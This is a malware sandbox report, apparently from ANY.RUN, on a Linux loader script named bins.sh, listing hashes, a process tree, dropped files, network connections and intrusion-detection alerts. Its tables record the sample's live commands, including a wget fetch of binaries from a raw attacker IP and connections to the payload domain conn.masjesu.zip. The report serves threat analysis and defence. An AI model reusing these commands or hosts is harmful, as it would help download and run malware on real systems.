File name:	bins.sh
Full analysis:	https://app.any.run/tasks/264c2637-b587-49e5-b9aa-da56a7c7c898
Verdict:	Malicious activity
Threats:	A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. Malware Trends Tracker >>>
Analysis date:	December 14, 2024, 08:15:13
OS:	Ubuntu 22.04.2 LTS
Tags:	exploit loader
Indicators:
MIME:	text/x-shellscript
File info:	Bourne-Again shell script, ASCII text executable, with very long lines (405)
MD5:	7D6118E9E57FC76BF85D5499BDA407B1
SHA1:	979790E20F9D08561E29CB4C9CBA5EFCDA2E86E4
SHA256:	9E6CE0BD0E91133122A0F68F701175B54EDD9BB73ABF9501AFB362ED2BE9717D
SSDEEP:	192:57W7TXzg7jUZeqjiymxFtitZDkoFtitZtRGXzg7jEeqjiyg:57W7xZeqjiymxFtitZDkoFtitZtRieqo

PID	CMD	Path	Indicators	Parent process
38751	/bin/sh -c "sudo chown user /home/user/Desktop/bins\.sh && chmod +x /home/user/Desktop/bins\.sh && DISPLAY=:0 sudo -iu user /home/user/Desktop/bins\.sh "	/usr/bin/dash	—	any-guest-agent
User: user Integrity Level: UNKNOWN
38752	sudo chown user /home/user/Desktop/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38753	chown user /home/user/Desktop/bins.sh	/usr/bin/chown	—	sudo
User: root Integrity Level: UNKNOWN Exit code: 0
38754	chmod +x /home/user/Desktop/bins.sh	/usr/bin/chmod	—	dash
User: user Integrity Level: UNKNOWN Exit code: 0
38755	sudo -iu user /home/user/Desktop/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN
38757	/bin/bash /home/user/Desktop/bins.sh	/usr/bin/bash	—	sudo
User: user Integrity Level: UNKNOWN
38758	/usr/bin/locale-check C.UTF-8	/usr/bin/locale-check	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
38759	/bin/rm bins.sh	/usr/bin/rm	—	bash
User: user Integrity Level: UNKNOWN Exit code: 256
38760	wget http://37.44.238.68/bins/mMgkQrI3VXIQp2qkPKp6ZjifrG8ocBlj6U	/usr/bin/wget		bash
User: user Integrity Level: UNKNOWN Exit code: 0
38764	/bin/sh -e /etc/NetworkManager/dispatcher.d/01-ifupdown connectivity-change	/usr/bin/dash	—	nm-dispatcher
User: root Integrity Level: UNKNOWN Exit code: 0

PID	Process	Filename		Type
38837	wget	/home/user/ZKWialH8JkbCrPBixB9t6A7aKcg06JxbG1		o
		MD5:—	SHA256:—
38971	busybox	/home/user/EwYlCoiIW079Z14AesA0MQ9QE4OuhNU6Yw		binary
		MD5:—	SHA256:—
41648	busybox	/home/user/YiThx1hTNjNZ1zjM7alLnCH4qyyqhd1VBX		binary
		MD5:—	SHA256:—
41713	busybox	/home/user/SaVA8QHVBLn46upaMxIegEa8I3FLlnucMy		o
		MD5:—	SHA256:—
41775	busybox	/home/user/z4EVo6m77d1kWQcaNbeRoft1vu17G7i57I (deleted)		binary
		MD5:—	SHA256:—
42010	busybox	/tmp/z4EVo6m77d1kWQcaNbeRoft1vu17G7i57I		o
		MD5:—	SHA256:—
42266	busybox	/tmp/SaVA8QHVBLn46upaMxIegEa8I3FLlnucMy		o
		MD5:—	SHA256:—
42512	busybox	/tmp/sHKkkLFXD70zREWGejRt4Ew2qJkaoTWzLh		o
		MD5:—	SHA256:—
43007	busybox	/tmp/mg2MEZtSFqJ5ggfSWbaX1UgU1vm6272lHV (deleted)		o
		MD5:—	SHA256:—
43631	busybox	/tmp/mMgkQrI3VXIQp2qkPKp6ZjifrG8ocBlj6U		o
		MD5:—	SHA256:—

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	204	91.189.91.96:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
—	—	GET	—	185.125.190.48:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
38796	busybox	GET	—	37.44.238.68:80	http://37.44.238.68/bins/mMgkQrI3VXIQp2qkPKp6ZjifrG8ocBlj6U	unknown	—	—	—
—	—	GET	204	185.125.190.48:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
—	—	GET	200	37.44.238.68:80	http://37.44.238.68/bins/mMgkQrI3VXIQp2qkPKp6ZjifrG8ocBlj6U	unknown	—	—	—
38760	wget	GET	200	37.44.238.68:80	http://37.44.238.68/bins/mMgkQrI3VXIQp2qkPKp6ZjifrG8ocBlj6U	unknown	—	—	—
38801	wget	GET	200	37.44.238.68:80	http://37.44.238.68/bins/XCWa3rQvgIvGOOwqjClT7FKlu1i1SxGjFd	unknown	—	—	—
—	—	GET	200	37.44.238.68:80	http://37.44.238.68/bins/XCWa3rQvgIvGOOwqjClT7FKlu1i1SxGjFd	unknown	—	—	—
—	—	GET	200	195.181.175.40:443	https://odrs.gnome.org/1.0/reviews/api/ratings	unknown	binary	1.62 Mb	whitelisted
—	—	POST	200	185.125.188.58:443	https://api.snapcraft.io/api/v1/snaps/auth/nonces	unknown	binary	53 b	whitelisted

PID	Process	IP	Domain	ASN	CN	Reputation
—	—	185.125.190.48:80	—	Canonical Group Limited	GB	unknown
484	avahi-daemon	224.0.0.251:5353	—	—	—	unknown
—	—	91.189.91.96:80	—	Canonical Group Limited	US	unknown
—	—	207.211.211.27:443	odrs.gnome.org	—	US	whitelisted
38760	wget	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
—	—	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
512	snapd	185.125.188.55:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
38796	busybox	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
512	snapd	185.125.188.54:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
38801	wget	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown

Domain	IP	Reputation
odrs.gnome.org	207.211.211.27 37.19.194.81 212.102.56.179 169.150.255.180 169.150.255.184 195.181.175.40 195.181.170.18 2a02:6ea0:c700::107 2a02:6ea0:c700::21 2a02:6ea0:c700::101 2a02:6ea0:c700::11 2a02:6ea0:c700::112 2a02:6ea0:c700::18 2a02:6ea0:c700::19	whitelisted
google.com	216.58.206.78 2a00:1450:4001:812::200e	whitelisted
api.snapcraft.io	185.125.188.55 185.125.188.54 185.125.188.59 185.125.188.58 2620:2d:4000:1010::42 2620:2d:4000:1010::2e6 2620:2d:4000:1010::6d 2620:2d:4000:1010::117	whitelisted
22.100.168.192.in-addr.arpa	—	unknown
conn.masjesu.zip	37.44.238.68 87.121.86.228	unknown
connectivity-check.ubuntu.com	2620:2d:4000:1::22 2620:2d:4000:1::98 2620:2d:4000:1::2a 2620:2d:4002:1::196 2001:67c:1562::23 2001:67c:1562::24 2620:2d:4000:1::96 2620:2d:4000:1::2b 2620:2d:4002:1::197 2620:2d:4000:1::23 2620:2d:4002:1::198 2620:2d:4000:1::97	whitelisted

PID	Process	Class	Message
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP

General Info

bins.sh

7D6118E9E57FC76BF85D5499BDA407B1

979790E20F9D08561E29CB4C9CBA5EFCDA2E86E4

9E6CE0BD0E91133122A0F68F701175B54EDD9BB73ABF9501AFB362ED2BE9717D

192:57W7TXzg7jUZeqjiymxFtitZDkoFtitZtRGXzg7jEeqjiyg:57W7xZeqjiymxFtitZDkoFtitZtRieqo

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

EXPLOIT has been detected (SURICATA)

SUSPICIOUS

Modifies file or directory owner

Executes commands using command-line interpreter

Potential Corporate Privacy Violation

Executes the "rm" command to delete files or directories

Uses wget to download content

Connects to the server without a host name

Reads /proc/mounts (likely used to find writable filesystems)

Connects to unusual port

Process requests binary or script from the Internet

Checks the user who created the process

INFO

Malware configuration

Static information

TRiD

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings